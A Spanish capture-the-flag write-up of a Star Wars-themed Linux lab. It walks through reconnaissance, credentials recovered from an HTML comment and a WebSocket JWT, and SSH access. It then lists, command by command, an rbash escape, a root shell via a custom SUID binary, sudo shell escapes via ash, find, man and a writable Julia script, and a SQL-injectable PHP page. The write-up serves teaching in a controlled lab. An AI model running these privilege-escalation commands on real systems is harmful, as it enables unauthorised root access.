Este laboratorio está catalogado con la dificultad "Profesional" y su autor es "dherediat".

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Resumen de contenido sobre este laboratorio

Tags: Divulgación de información, Inyecciones SQL, Privilegios SUDO, Reutilización de contraseñas, Seguridad por oscuridad, Set User ID (SUID)

Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:

  • Identificación y análisis de varios recursos que habilitan el descubrimiento de credenciales válidas para realizar el acceso inicial al sistema objetivo a través del servicio SSH.
  • Explotación de una escalada de privilegios universal para acceder como root desde cualquier usuario aprovechando un binario SUID gracias a entender su código fuente.
  • Múltiples vías de escalada de privilegios entre distintos usuarios del sistema aprovechando privilegios SUDO.
  • Validación de una inyección SQL identificada tras encontrar el código fuente de la página vulnerable.
  • Identificación de malas prácticas como reutilización de contraseñas y seguridad por oscuridad.
  • Varios recursos encontrados estrechamente relacionados con la historia que pretende contar el laboratorio sobre el universo de esta famosísima saga.

Aclaración sobre el uso de imágenes

Algunas imágenes utilizadas en esta publicación pertenecen a sus respectivos propietarios y se emplean únicamente con fines informativos, educativos o de análisis. No se reclama ningún derecho sobre ellas, y su presencia no es premeditada, ya que forman parte del material integrado en el laboratorio que se está documentando.

En caso de que algún titular considere que el uso de una imagen no es apropiado, puede solicitar su retirada. No obstante, será necesario justificar debidamente la propiedad o titularidad de la imagen antes de poder atender la solicitud correspondiente.

Reconocimiento inicial

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 10.0.250.11
None

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 10.0.250.11 -oN allPorts
None

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

nmap -sCV -p 22,80,8080 -n -Pn 10.0.250.11 -oN services
None

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (tk-9875)

En este caso se detecta que hay tres puertos abiertos:

  • Puerto 22 (servicio SSH, OpenSSH)
  • Puerto 80 (servicio HTTP, Apache httpd)
  • Puerto 8080 (servicio websocket, websocket server)

Tras revisar el puerto 80, muestra un mensaje dirigido a un cadete imperial sobre una misión muy importante.

URL -> http://10.0.250.11
...

¡Enhorabuena Cadete-7985!

Has sido seleccionado para una misión muy importante. La república galáctica necesita tu ayuda.
None

Al pulsar en "Sí, deseo aceptar la misión" muestra más detalles.

Debo de reunirme con la general Phasmo y la general Versio en el cuartel general de la República Galáctica, en Vardos. Allí me darán más detalles sobre la misión.
None

Al pulsar en "¡Entendido, me pondré en marcha de inmediato!" se llega a una nueva ubicación: Vardos. Aquí se tiene acceso al Holo Comunicador Imperial para iniciar las comunicaciones con la general Iden Versio.

URL -> http://10.0.250.11/vardos/
None

En esta nueva funcionalidad se hacen dos hallazgos importantes.

El primero de ellos se oculta en el código fuente de la página. Se puede apreciar al final de la página dentro de un comentario HTML un arte ASCII de Yoda, acompañado por una frase a modo de pista y una cadena de caracteres que parece ocultar algo.

URL -> view-source:http://10.0.250.11/vardos/
...

En un sitio oscuro nos encontramos y el conocimiento nuestro camino ilumina...
None

Tras identificar que el formato que sigue la cadena de caracteres es el del lenguaje de programación Brainfuck, se utiliza la página dcode para obtener la respuesta de su interpretación. Esto resulta en descubrir la contraseña del cadete imperial.

Referencia: https://www.dcode.fr/brainfuck-language

Respuesta -> La contrasena del cadete imperial es: <RECORTADO>
None

El segundo hallazgo se da tras interceptar las comunicaciones del Holo Comunicador Imperial. Tras pulsar el botón "Iniciar conexión", se puede comprobar que se comienzan a recibir comunicaciones procedentes de la general Iden Versio. Tras indagar, se detecta que estas comunicaciones se realizan a través de WebSockets.

En resumen, los WebSockets son un protocolo que permite una comunicación bidireccional y en tiempo real entre un cliente (como un navegador) y un servidor. Funcionan manteniendo una conexión abierta y persistente, de modo que ambos pueden enviarse datos al instante sin necesidad de hacer peticiones repetidas.

Se puede comprobar como se ha obtenido esta información a través de este protocolo utilizando las herramientas de desarrollador del navegador.

None

Es posible detectar la lógica utilizada para realizar la comunicación con el servidor en el archivo main.js encontrado en esta.

URL -> http://10.0.250.11/vardos/scripts/main.js
let socket;
let reconnectAttempts = 0;
const maxReconnectAttempts = 5;
const reconnectDelay = 3000;

const bgAudio = document.getElementById('bg-audio');
bgAudio.volume = 0.5;
bgAudio.style.display = 'none';
const buttonStartConnection = document.getElementById('start-connection');

buttonStartConnection.addEventListener('click', () => {
    const welcomeMessage = document.querySelector('.welcome-message');
    welcomeMessage.style.display = 'none';
    bgAudio.play().catch(error => {
        console.error("Error al reproducir el audio de fondo:", error);
    });
    connect();
});


function connect() {
    const wsProtocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
    const wsUrl = wsProtocol + '//' + window.location.host.split(':')[0] + ':8080';
    
    socket = new WebSocket(wsUrl);
    socket.onopen = function(event) {
        reconnectAttempts = 0;
        var messageElement = document.createElement("p");
        messageElement.style.color = "red";
        messageElement.textContent = "Conectando al holocomunicador imperial...";
        document.getElementById("output").appendChild(messageElement);
    };
    socket.onmessage = function(event) {
        var messageElement = document.createElement("p");
        messageElement.style.color = "red";
        if(event.data instanceof Blob) {
            const audioUrl = URL.createObjectURL(event.data);
            messageElement.innerHTML = `<audio controls src="${audioUrl}"></audio>`;
        } else {
            messageElement.textContent = event.data;
        }  
        document.getElementById("output").appendChild(messageElement);
    };
    socket.onclose = function(event) {
        var messageElement = document.createElement("p");
        document.getElementById("output").innerHTML = "";
        messageElement.style.color = "red";
        messageElement.textContent = "Conexión perdida. Intentando reconectar...";
        document.getElementById("output").appendChild(messageElement);
        
        if (reconnectAttempts < maxReconnectAttempts) {
            reconnectAttempts++;
            setTimeout(connect, reconnectDelay);
        }
    };
    socket.onerror = function(event) {
        var messageElement = document.createElement("p");
        messageElement.style.color = "red";
        messageElement.textContent = "Error en la conexión WebSocket.";
        document.getElementById("output").appendChild(messageElement);
    };
}
None

Dado que esta tecnología también permite la autenticación, se indaga la forma de obtener una comunicación autenticada. Como la comunicación es bidireccional, se prueba a solicitar un token para poder ser utilizado en futuras solicitudes utilizando de referencia la lógica utilizada.

Referencia: https://websocket.org/guides/authentication/
const wsProtocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = wsProtocol + '//' + window.location.host.split(':')[0] + ':8080';
socket = new WebSocket(wsUrl);
socket.onopen = function(event) {
 socket.send(JSON.stringify({type:'auth'}));
};
None

Al revisar la respuesta de la petición, se puede comprobar que se obtiene un token JWT en la respuesta.

None

Como el servidor es directamente accesible, otra forma de poder interactuar con él sin tener que escribir código JavaScript puede ser mediante la herramienta wscat.

Referencia: https://github.com/websockets/wscat

Para probarlo, se realiza la conexión inicial con el servidor y se espera a que termine de emitir la información programada.

wscat -c ws://10.0.250.11:8080
(esperar a que termine de emitir)
None

Una vez termine, es posible enviar la solicitud de la misma forma que se ha hecho con JavaScript. Se puede comprobar que también se obtiene respuesta, esta vez con el token JWT.

> {"type":"auth"}
< <token JWT>
None

Es posible comprobar la información que contiene este token utilizando la página JWT.io, el cual parece contener el nombre de usuario del cadete imperial.

Referencia: https://www.jwt.io/
None

Después de varios intentos, se detecta que estas credenciales (nombre de usuario y contraseña previamente descubierta) permiten el acceso inicial al sistema a través del servicio SSH como el usuario "tk-9875".

ssh tk-9875@10.0.250.11
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
None

Confirmando la información del usuario.

whoami
id
hostname
None

Al revisar los directorios principales de los usuarios existentes del sistema, se puede comprobar que es posible leer el contenido de los directorios principales de los usuarios "gungi" y "vader". En este último es donde se encuentra la flag asociada al usuario de bajos privilegios.

ls -al home
ls -al /home/gungi
ls -al /home/vader
cat /home/vader/user.txt
None

Escalada de privilegios (tk-9875 -> root, permitida desde cualquier usuario del sistema)

Al intentar listar los archivos del sistema con el bit SUID habilitado, parece que se obtiene un error de permisos debido a encontrarse en una rbash (restricted shell). Por ello, primero se escapa de esta utilizando Python para abrir una Bash convencional.

find / -perm -4000 2>/dev/null
(restricción por rbash)
python3 --version
python3 -c 'import pty;pty.spawn("/bin/bash")'
None

Tras volver a listarlos esta vez sin restricciones, se puede comprobar que existe un binario no convencional que podría aprovecharse para realizar una escalada de privilegios. Este es el siguiente:

  • /usr/bin/fall_to_the_dark_side
find / -perm -4000 -ls 2>/dev/null
None

Al revisar su ubicación, se puede encontrar un archivo que parece contener el código fuente de este binario escrito en C.

Al parecer, su funcionalidad consiste en asignar el UID y GID a 0, cambiando el ID de usuario efectivo del proceso al de "root" y abriendo a continuación un interprete de comandos ZSH. Esto permite una escalada de privilegios directa al usuario "root".

ls -al /usr/bin/fall*
cat /usr/bin/fall_to_the_dark_side.c

/usr/bin/fall_to_the_dark_side
/bin/bash
whoami
id
hostname
## fall_to_the_dark_side.c

#include<stdio.h>
#include<stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    char *args[] = {"/bin/zsh", NULL};
    execve("/bin/zsh", args, NULL);
    return 0;
}
None

Esto permite además obtener la flag asociada a este usuario.

cd /root
ls -al
cat root.txt
None

En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

BONUS: Explotaciones alternativas y hallazgos realizados

A continuación se muestran una serie de apartados que muestran otras vías de explotación encontradas y otros hallazgos propios de este laboratorio que puedan ser de interés para el lector.

Escalada de privilegios (tk-9875 -> gungi)

Al encontrar previamente un archivo denominado "usa_el_comando_mail", se utiliza dicho comando para comprobar los mensajes pendientes de leer para este usuario. Se detecta uno que parece indicar cual es la siguiente tarea del cadete imperial y la cual se almacena en el buzón de correo local en formato "mbox".

ls -al
find / -name *mail* 2>/dev/null

mail
& 1
&quit

ls -al
ls -al /var/mail/tk-9875
None
Transcripción de obtención del correo — tarea del Cadete

Al revisar el correo en formato "mbox" se puede comprobar que indica que en el directorio personal del usuario hay nuevos detalles para la misión.

head -n 20 mbox
...

Te he enviado más detalles de la misión en tu directorio personal. ¡Buena Suerte! ¡Larga Vida al Imperio!
None

Se detectan unas notas secretas donde indica los siguientes pasos a realizar por el cadete imperial.

ls -al .notas
cat .notas

...

         MISIÓN DE INFILTRACIÓN REBELDE
---------------------------------------------------
1. Disfrazarme de Wookie(Gungi)
2. Averiguar dónde está el ADN de dicho Wookie.
3. Infiltrarme como ellos usando la fuerza.
4. Espiar comunicaciones rebeldes.
5. Suplantar la identidad de Obi Wan.
6. Traer de vuelta a Luke Skywalker.
7. No morir.
None

Al listar los privilegios SUDO, se puede comprobar que el usuario "tk-9875" puede ejecutar el binario "/usr/bin/ash" como el usuario del sistema "gungi" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (gungi) NOPASSWD: /usr/bin/ash
sudo -l
None

Comprobando el binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.org/gtfobins/ash/#shell
None

En este caso, es posible abrir una consola interactiva como el usuario "gungi" directamente.

sudo -u gungi /usr/bin/ash
/bin/bash

ANUCIO IMPERIO GALÁCTICO

                      _    _  __  _  _ _____  ___ ___
                      | /\ | |__| |\ |   |   |___ |  \
                      |/  \| |  | | \|   |   |___ |__/

        E N  B U S C A   Y  C A P T U R A  P O R   C R Í M E N E S 
        E N  C O N T R A    D E L   I M P E R I O  G A L Á C T I C O

 ________________________   _________________________  _______________________
|        .......       LS|  |      .x%%%%%%x.         ||  ,.------;:~~:-.      |
|      ::::::;;::.       |  |     ,%%%%%%%%%%%        || /:.\`;;|||;:/;;:\     |
|    .::;::::;::::.      |  |    ,%%%'  )'  \%        ||:')\`:\||::/.-_':/)    |
|   .::::::::::::::      |  |   ,%x%) __   _ Y        ||`:`\\\ ;'||'.''/,.:\   |
|   ::`_```_```;:::.     |  |   :%%% ~=-. <=~|        ||==`;.:`|;::/'/./';;=   |
|   ::=-) :=-`  ::::     |  |   :%%::. .:,\  |        ||:-/-%%% | |%%%;;_- _:  |
| `::|  / :     `:::     |  |   `;%:`\. `-' .'        ||=// %wm)..(mw%`_ :`:\  |
|   '|  `~'     ;:::     |  |    ``x`. -===-;         ||;;--', /88\ -,- :-~~|  |
|    :-:==-.   / :'      |  |     / `:`.__.;          ||-;~~::'`~^~:`::`/`-=:) |
|    `. _    .'.d8:      |  |  .d8b.  :: ..`.         ||(;':)%%%' `%%%.`:``:)\ |
| _.  |88bood88888._     |  | d88888b.  '  /8         ||(\ %%%/dV##Vb`%%%%:`-. |
|~  `-+8888888888P  `-. _|  |d888888888b. ( 8b       /|| |);/( ;~~~~ :)\`;;.``\|
|-'     ~~^^^^~~  `./8 ~ |  |~   ~`888888b  `8b     /:|| //\'/,/|;;|:(: |.|\;|\|
|8b /  /  |   \  \  `8   |  |  ' ' `888888   `8. _ /:/||/) |(/ | / \|\\`( )- ` |
|P        `          8   |  |'      )88888b   8b |):X ||;):):)/.):|/) (`:`\\`-`|
|                    8b  |  |   ~ - |888888   `8b/:/:\||;%/ //;/(\`.':| ::`\\;`|
|                    `8  |  |       |888888    88\/~~;||;/~( \|./;)|.|):;\. \\-|
|                     8b |  |       (888888b   88|  / ||/',:\//) ||`.|| (:\)):%|
|         .           `8 |  |\       \888888   8-:   /||,|/;/(%;.||| (|(\:- ; :|
|________/_\___________8_|  |_\_______\88888_.'___\__/||_%__%:__;_:`_;_:_.\%_`_|

L u k e  S k y w a l k e r          H a n   S o l o          C h e w b a c c a

Auto-Proclamado Caballero Jedi     Contrabadista, Pirata       Wookie, Pirata
     500,000 créditos                200,000 créditos          100,000 créditos

¡LARGA VIDA AL IMPERIO!


whoami
id
hostname
None

Escalada de privilegios (gungi -> han_solo)

Al revisar el directorio principal del usuario "gungi", se detecta un recurso denominado "julia" que se encuentra en su versión 1.8.1.

ls -al
ls -al .julia
ls -al .julia/environments/v1.8/
head .julia/environments/v1.8/Manifest.toml
None

Tras indagar un poco, se detecta que Julia es un lenguaje de programación de alto rendimiento diseñado para cálculos numéricos, ciencia de datos y computación técnica. Combina la velocidad de C con la simplicidad de Python, ideal para trabajar con matemáticas, datos y machine learning.

Referencia: https://discourse.julialang.org/t/julia-v1-8-1-has-been-released/87058

Al listar los privilegios SUDO, se puede comprobar que el usuario "gungi" puede ejecutar el comando "/opt/julia/bin/julia /home/gungi/.secret/the_force.jl*" como el usuario del sistema "han_solo" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (han_solo) NOPASSWD: /opt/julia/bin/julia /home/gungi/.secret/the_force.jl*

Este comando se encarga de ejecutar un script específico (the_force.jl) desarrollado con el lenguaje de programación Julia. Al revisar el script se identifica lo siguiente:

  • El script ofrece un parámetro que se encarga de descodificar de Base64 y ejecutar como comando del sistema lo que se le pase como argumento.
  • El script es modificable para el usuario actual (gungi), lo que permite alterar la lógica del mismo.
sudo -l
/opt/julia/bin/julia --help | head
/opt/julia/bin/julia --version

ls -al /home/gungi/.secret/
cat /home/gungi/.secret/the_force.jl
None

Adicionalmente se detecta una bitácora espacial escrita por el usuario "gungi".

cat /home/gungi/.secret/bitacora_espacial.md
...

______________________________________________________________________________________________________________________________________________________________________________
Día 301 antes del secuestro.

Querida bitácora, hoy empiezo a escribir una serie de entradas para contar mi historia, mi vida, mis aventuras y mis desventuras. Soy un Wookiee llamado Fungi, vivo en el planeta Kashyyyk, un lugar lleno de árboles gigantes y una gran variedad de criaturas. Mi sueño es convertirme en un Padawan Jedi, aprender a usar la Fuerza y empuñar un sable láser. Espero que algún día pueda cumplir mi sueño y ser un gran Jedi.
______________________________________________________________________________________________________________________________________________________________________________
Día 7815 después del secuestro.

Te echo de menos querida, sin ti me da pena todo, yo era diferente contigo... Desde que paso lo de los Frangawl, no he pegado ojo. Quizás algún día sere Padawan, si como oyes
un Wookiee Padawan, seré el único pero aún así lograré empuñar mi sable láser. Aunque no se si podré lograrlo, ya que los Frangawl me secuestraron y me llevaron a un lugar desconocido, me hicieron cosas horribles y me dejaron allí tirado. No se si podré volver a mi hogar, a mi familia, a mis amigos... Pero no pierdo la esperanza, algún día volveré a ser el Wookiee feliz que era antes.
_______________________________________________________________________________________________________________________________________________________________________________

Día 1512 después del secuestro.

Ya no existe Fungi, se acabó su ansiada misión. Ahora soy yo Cadete de Asalto TK-9875, para camuflarme como él debo de usar sus poderes de Padawan, quizás tenga algo que ver su querida esposa. Tendré que dirigirme a Kamino, allí encontraré sus poderes o lo que queda. Espero que pueda encontrar algo, aunque no se si podré usarlo, ya que no soy un él (Gungi), no soy un Wookiee(aunque el Imperio me proporciono el disfraz para vestirme como tal), soy un soldado de asalto. Haré lo posible por cumplir mi misión y encontrar lo que necesito para seguir adelante. No sé qué me espera en Kamino, pero estoy dispuesto a enfrentar cualquier desafío que se me presente. ¡Larga vida al Imperio!
________________________________________________________________________________________________________________________________________________________________________________
None

Para aprovechar los privilegios SUDO asignados y el script desarrollado con Julia, se realiza mediante el primer método: ejecución directa del script.

Para ello, se codifica en Base64 un comando del sistema y luego se ofrece como parámetro. En este caso, la ejecución resulta en un error.

sudo -l

echo 'id' | base64
/opt/julia/bin/julia /home/gungi/.secret/the_force.jl aWQK
(ERROR!)
None

Tras investigar, se detecta que el error es debido al salto de linea introducido por el comando "echo". Por ello, se vuelve a intentar esta vez especificando que no lo incluya antes de realizar la codificación.

echo -en "id" | base64
/opt/julia/bin/julia /home/gungi/.secret/the_force.jl aWQ=
sudo -u han_solo /opt/julia/bin/julia /home/gungi/.secret/the_force.jl aWQ=
None

Una vez probado, se realiza lo mismo con el comando "bash" para obtener acceso como el usuario "han_solo".

echo -en 'bash' | base64
sudo -u han_solo /opt/julia/bin/julia /home/gungi/.secret/the_force.jl YmFzaA==

whoami
id
hostname
None

Escalada de privilegios (han_solo -> obi)

Al listar los privilegios SUDO, se puede comprobar que el usuario "han_solo" puede ejecutar el binario "/usr/bin/find" como el usuario del sistema "obi" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (obi) NOPASSWD: /usr/bin/find
sudo -l
None

Comprobando el binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.org/gtfobins/find/#shell
None

En este caso, tras cambiar de directorio debido a un error de permisos en ejecución, es posible abrir una consola interactiva como el usuario "obi" directamente.

sudo -u obi /usr/bin/find . -exec /bin/bash \; -quit
(Error: Permiso denegado)

cd /tmp
sudo -u obi /usr/bin/find . -exec /bin/bash \; -quit
whoami
id
hostname
None

Escalada de privilegios (obi -> anakin)

Al listar los privilegios SUDO, se puede comprobar que el usuario "obi" puede ejecutar el binario "/usr/bin/man" como el usuario del sistema "anakin" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (anakin) NOPASSWD: /usr/bin/man

Además, se detecta una nota en el directorio principal de este usuario.

ls -al
cat notas
...
No soy de escribir notas, pero está ocurriendo cosas extrañas en mi planeta y debo dejar constancia de ello. No sé si es por la guerra o por el lado oscuro, pero siento que algo malo se acerca. Espero que estas notas me ayuden a entender lo que está pasando y a prepararme para lo que venga.

sudo -l
None

Comprobando el binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.org/gtfobins/man/#shell
None

En este caso, es posible abrir una consola interactiva como el usuario "anakin" directamente.

sudo -u anakin /usr/bin/man man
...
!/bin/bash
...
whoami
id
hostname
None

Recursos web detectados (rabbit hole)

Una vez dentro del sistema, es posible revisar los recursos de la web previamente encontrada. Al parecer esta dispone de más recursos no encontrados en escaneos previos.

ls -al /var/www/locations/
ls -al /var/www/locations/cantina
ls -al /var/www/locations/kamino
ls -al /var/www/locations/tatooine
ls -al /var/www/locations/vardos
None

Al acceder a Tatooine se recibe una cálida bienvenida y se da la opción para leer un mensaje de la princesa Leia.

URL -> http://10.0.250.11/tatooine/
...

Has llegado a Tattoine, planeta totalmente rebelde. Te han dado una cama para descansar y suministros para continuar con tu búsqueda de la fuerza(sigues siendo un Wookiee, en cubierta, en busca de la fuerza)

La Princesa Leia Organa os ha enviado un mensaje de emergencia. ¿Quieres verlo?
None

Al pulsar en "Sí, deseo verlo", lo muestra.

Leia Morgana: Es una pena, parece que Obi y mi padre están luchando a vida a muerte. Os paso una conexión directa desde un robot enfermero que está cerca de la zona de combate, pero no sé si podréis ver algo útil...
None

Al pulsar en "Ver mensaje", este lo muestra junto con un vídeo mostrando uno de los duelos más intensos de la saga: Anakin VS Obi-Wan.

Leia Morgana: ¡Mi padre caído! ¡Tenemos que hacer algo!
None

Al ir a la Cantina, se ofrece una bienvenida más cauta.

URL -> http://10.0.250.11/cantina/
...

Bienvenido a la Cantina

Cuidado: estás en una zona desertora, aquí no hay leyes. Aun así, ¿quieres entrar?
None

Al pulsar en "Sí, quiero entrar", una cara conocida ofrece un trato.

Mira a quién tenemos aquí. Ni más ni menos que un desertor de la República. ¿Qué te trae por aquí?

Tengo un mapa muy valioso que podría interesarte. Te lo puedo dar, con una condición: necesito que me consigas un cargamento de Coaxium. ¿Qué dices? ¿Trato hecho?
None

Al pulsar en "Sí, acepto el trato", se accede a Kamino.

URL -> http://10.0.250.11/kamino/

Kamino - Centro de Datos
None

Al pulsar en "Sí, quiero entrar", se obtiene un mensaje que a pesar de no encontrarse, puede que hayan datos.

Diría que esta por aquí, pero no lo veo, estos kaminoanos son los que hay... Muchos datos, pero sin indexar las tablas...
None

Al inspeccionar la página, se puede apreciar un formulario oculto que hace uso de un recurso en PHP que puede ser el encargado de recuperar los datos a los que se refiere el mensaje.

Recurso: database.php
Parámetro GET: offset
None

Al acceder directamente a este recurso, se puede apreciar que devuelve un error de sintaxis SQL, probablemente debido a una malformación en la consulta SQL.

URL -> http://10.0.250.11/kamino/database.php

Connection failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'LIMIT 10 OFFSET NULL' at line 1
None

Al tener acceso directo a este recurso desde dentro del sistema, es posible revisar su contenido. Este parece contener la funcionalidad de interacción con una base de datos subyacente, la cual incluye las credenciales en texto plano para acceder a la base de datos. Además, se aprecia que la contraseña utilizada por el cadete "tk-9875" se reutiliza para el usuario de la base de datos especificado en este archivo.

cat /var/www/locations/kamino/database.php
<?php
error_reporting(E_ALL);

$servername = "localhost";
$username = "bobafett";
$password = "<RECORTADO>";
$dbname = "adn";
$table = $_GET['table'];
$offset = $_GET['offset'];

try {
  $conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);
  // set the PDO error mode to exception
  $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $stmt = $conn->prepare("SELECT * FROM $table LIMIT 10 OFFSET :offset");
  $stmt->bindParam(':offset', $offset, PDO::PARAM_INT);
  $stmt->execute();
  $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
  echo json_encode($result);
} catch(PDOException $e) {
  echo "Connection failed: " . $e->getMessage();
}

?>
None

Antes de continuar analizando esta funcionalidad, se pasa a revisar el contenido de la base de datos con las credenciales especificadas en el mismo. Esta contiene una base de datos denominada "adn" con 4 tablas.

mysql -u bobafett -p
(introducir la contraseña)

MariaDB [(none)]> show databases;
MariaDB [(none)]> use adn;
MariaDB [adn]> show tables;
None

Se extrae el contenido de cada una de ellas. Concretamente en "padawan" se encuentra una cadena de caracteres codificada en Base64 que puede parecer interesante de revisar más detenidamente.

MariaDB [adn]> select * from jedi;
...
+-------------------------------------------------------------------+
| name                                                              |
+-------------------------------------------------------------------+
| tu siguiente paso ha de estar aquí, pequeño padawan               |
| buscar yo en los registros de obi, buenos resultados encontrarás  |
| mucha suerte, y que la fuerza te acompañe!                        |
+-------------------------------------------------------------------+

MariaDB [adn]> select * from padawan;
...
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| name                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Vm1wR1UxRXlSWGhUV0d4WFlrZFNjRlZ0ZUV0Vk1XeHpZVWM1YWxac1NsbFpNM0JIWVZVeFdHVkliRmhoTVZweVdXdGFZVmRIVmtaalJtUlhaV3RWZDFaVVNqUlRiVlpZVW10b1VGWnRhRmhWYkdoRFYwWlplV05GWkd0TmJFcElWVEkxVjFaWFNsbFZiRkpWVmxad2FGcEdXbHBsUmxaeVkwVTVWMDFWY0VwV2EyUXdZekZhU0ZOc2JHaFRSVXBoV1d0YWQxUkdiRFpTYmtwc1ZqQndSMVpITVhkVWJGbDZZVVphVjFadFRYaFdha1pyWXpGd1JsZHRjRk5TYkhCYVZtMHdlR0l4V2tkaE0yUmhVbXMxY2xWdGRIZFhiRnBJWkVoa1YxSnJjSGxaTUdoM1Ztc3hWMWR1U2xkaGEzQklXa1ZhUzJOdFJrZFJiRTVPWWtWd05WWnRNREZrTVZsNVUxaG9WV0pHY0dGVVZFcHZZakZXY1ZGdVpFNVNiRVl6V1ZWVk5WWkhTa1ppUkZKV1RXcFdVRlpyV21GWFJsSlpZVVp3VjFadVFYcFdWRUpoVXpGa1NGSnJXbXBTYkZwWVZqQmFTMDFzV25SbFJrNVVUV3N4TlZVeU5WTldiVXBJWVVab1YyRnJjRlJaVlZwaFkxWlNkR1JIYkdsU00xRjZWakZvZDFZeVJrWk5WbXhTWWtoQ1YxUldaRk5qYkdSWFYydHdiRkpzY0RCVWJGcDNZVVV4YzFOcmFGZE5ia0pJV2tSS1UxWXhaSFZWYlhoVFRUQktkMWRYTVRCVE1sSnpWbGhvV0dFeGNGRldiWFJMVlRGV1IxVllaRkZWVkRBNQ== |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

MariaDB [adn]> select * from pirates;
...
+----------------+-----------+
| name           | reward    |
+----------------+-----------+
| Han Solo       | 100000000 |
| Chewbacca      | 100000000 |
| Luke Skywalker | 100000000 |
+----------------+-----------+

MariaDB [adn]> select * from sith;
...
+-------------------------+------------+----------------+
| name                    | reward     | have_the_force |
+-------------------------+------------+----------------+
| Conde Dooku             |          0 |              1 |
| Maul                    |  100000000 |              1 |
| Darth Sidious/Palpatine |          0 |              1 |
| Darth Vader             |   10000000 |              1 |
| Anakin Skywalker        | 1000000000 |              1 |
+-------------------------+------------+----------------+
None

Al revisar esa cadena de caracteres, parece que está codificado varias veces en Base64, por ello se utiliza CyberChef para descodificarlo. A pesar de ello, muestra una pista para avanzar y nada más.

